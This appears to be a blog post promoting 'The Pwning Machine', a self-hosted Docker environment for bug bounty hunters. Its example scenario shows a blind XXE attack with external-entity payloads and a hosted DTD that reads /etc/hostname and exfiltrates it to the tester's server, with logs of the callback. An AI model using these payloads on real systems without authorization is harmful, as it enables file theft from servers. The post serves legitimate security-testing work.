Presenting The Pwning-Machine, a versatile and easy to setup Bug bounty environment.


Today web services are no longer huge monolithic block, we live in the days of containers and micro services. This change in the application development world also change the way we search and exploit vulnerabilities. Detection and Exploits become more a more complex and often rely on out-of-band exploitation, such as :

  • blind XSS to admin panel takeover
  • SSRF to DC takeover
  • Second order RCE

But setting up and maintaining an environment to do this can be tedious and time consuming, so bug bounty hunters turn to third party services to do theirs testings. We can see a lot of reports using tools such as XSSHunter or BurpCollaborator, while those tools do great at their job they fail to provide the privacy often required by private bug bounty programs.

Introducing The Pwning Machine, an easy to setup and maintain bug bounty environment. An all-in-one, customizable and extensible suite of tools required by all serious hunters.

The Pwning Machine is a bug bounty hunting environment

In less than 10 minutes, anyone can set up a Docker-based environment on a dedicated server.

Out of the box the Pwning machine come with a DNS serveran http routera web server, and a pipeline runner.

Out-of-the-box functionalities


POWERDNS with a simple api to manage rules via command line:

> pm dns add A

Web Server:

NGINX server is booted along with a handy mapping from hostname to path logic.
For example if you want to handle request on
you can just put your php files in

HTTP Router:

Traefik handles all incoming http(s) traffic and forwards it to the right container, while automatically taking care of your ssl certificates.

Setting up a domain for a new http service is as simple as filling this yaml config file:

              - *

The pipeline runner [in developement]

The pipeline runner is an actively developped feature that will allow you to run predefined tasks sequences directly on you server. One simple example would be to have a first task that does DNS enumeration, takes the domain list and passes it to another task that will check the domain for http services, and finally forwards it for a last task that will screenshot that page.

The pipeline runner allows to build complex and powerful sequences with small building block, thus allowing you to slash the hassle of issuing tiedous and repetitive command sequences. You can think of it as the CI pipeline from Gitlab.

Example scenario

Here is a scenario using only the core features of pwn-machine.

Imagine you found a endpoint accepting XML and your want to test XXE, but it’s completely blind.

The first thing you might do is submitting a simple payload with an external entity…

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM ""> %ext;

… and wait for a callback in your dns logs.

$ pm service logs -f powerdns --tail 5
pdns_1        | Jun 19 11:16:33 Remote x.x.x.x wants '|A', do = 0, bufsize = 512: packetcache MISS
pdns_1        | Jun 19 11:16:33 Remote x.x.x.x wants '|A', do = 0, bufsize = 512: packetcache MISS
pdns_1        | Jun 19 11:18:16 Remote x.x.x.x wants '|AAAA', do = 1, bufsize = 1232 (4096): packetcache MISS
pdns_1        | Jun 19 11:18:16 Remote x.x.x.x wants '|A', do = 1, bufsize = 1232 (4096): packetcache MISS
pdns_1        | Jun 19 11:18:16 Remote x.x.x.x wants '|A', do = 1, bufsize = 1232 (4096): packetcache MISS

We got a hit! That means the endpoint is vulnerable. Let’s try to do some file reading.
To do so we need to host a dtd file on our domain.

$> # First we mount the web server volume localy 
$> pm volume mount webroot
Volume 'webroot' mounted on '/tmp/'.
Exit this shell (ctrl+d) to unmount.

webroot $> # we want our file to be accessible via
webroot $> cd
webroot $> cat << 'EOF' > file_read.dtd                
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % all "<!ENTITY send SYSTEM ';'>">
webroot $> # When we are done, just exit the shell to unmount the volume
webroot $> exit

Our dtd is ready, we need to use another XML payload to actually load it.

<?xml version="1.0" encoding="utf-8"?>

Then you can look at the nginx logs to see first the GET on the dtd file on then the exfiltrated file as a pathname on

$> pm service logs -f web-nginx --tail 2
nginx_1       | [19/Jun/2020:11:38:51 +0000] "GET /file_read.dtd HTTP/1.1" 200 "-" "TURBO XML 2000"
nginx_1       | [19/Jun/2020:11:38:52 +0000] "GET /3288f6291315 HTTP/1.1" 200 "-" "TURBO XML 2000"

You successfully read a file on the remote host, here /etc/hostname is 3288f6291315, this is probably a docker container.

Each module is run via the simple builtin pm command

The pm shell is where you administer the Pwn-Machine

> pm --help

  --help  Show this message and exit.

  container  Manage containers
  dns        Manage DNS
  env        Display the commands to set up the environment for the Docker...
  ps         List services
  service    Manage Services
  setup      Setup pwn machine
  ssh        SSH to the host
  version    Show version
  volume     Manage Volumes

The Pwn-Machine is a collaborative environment

This project, while functional and effective, still is at an early stage. You are more than welcomed to fork, develop, and amend the codebase on the project Github

Find more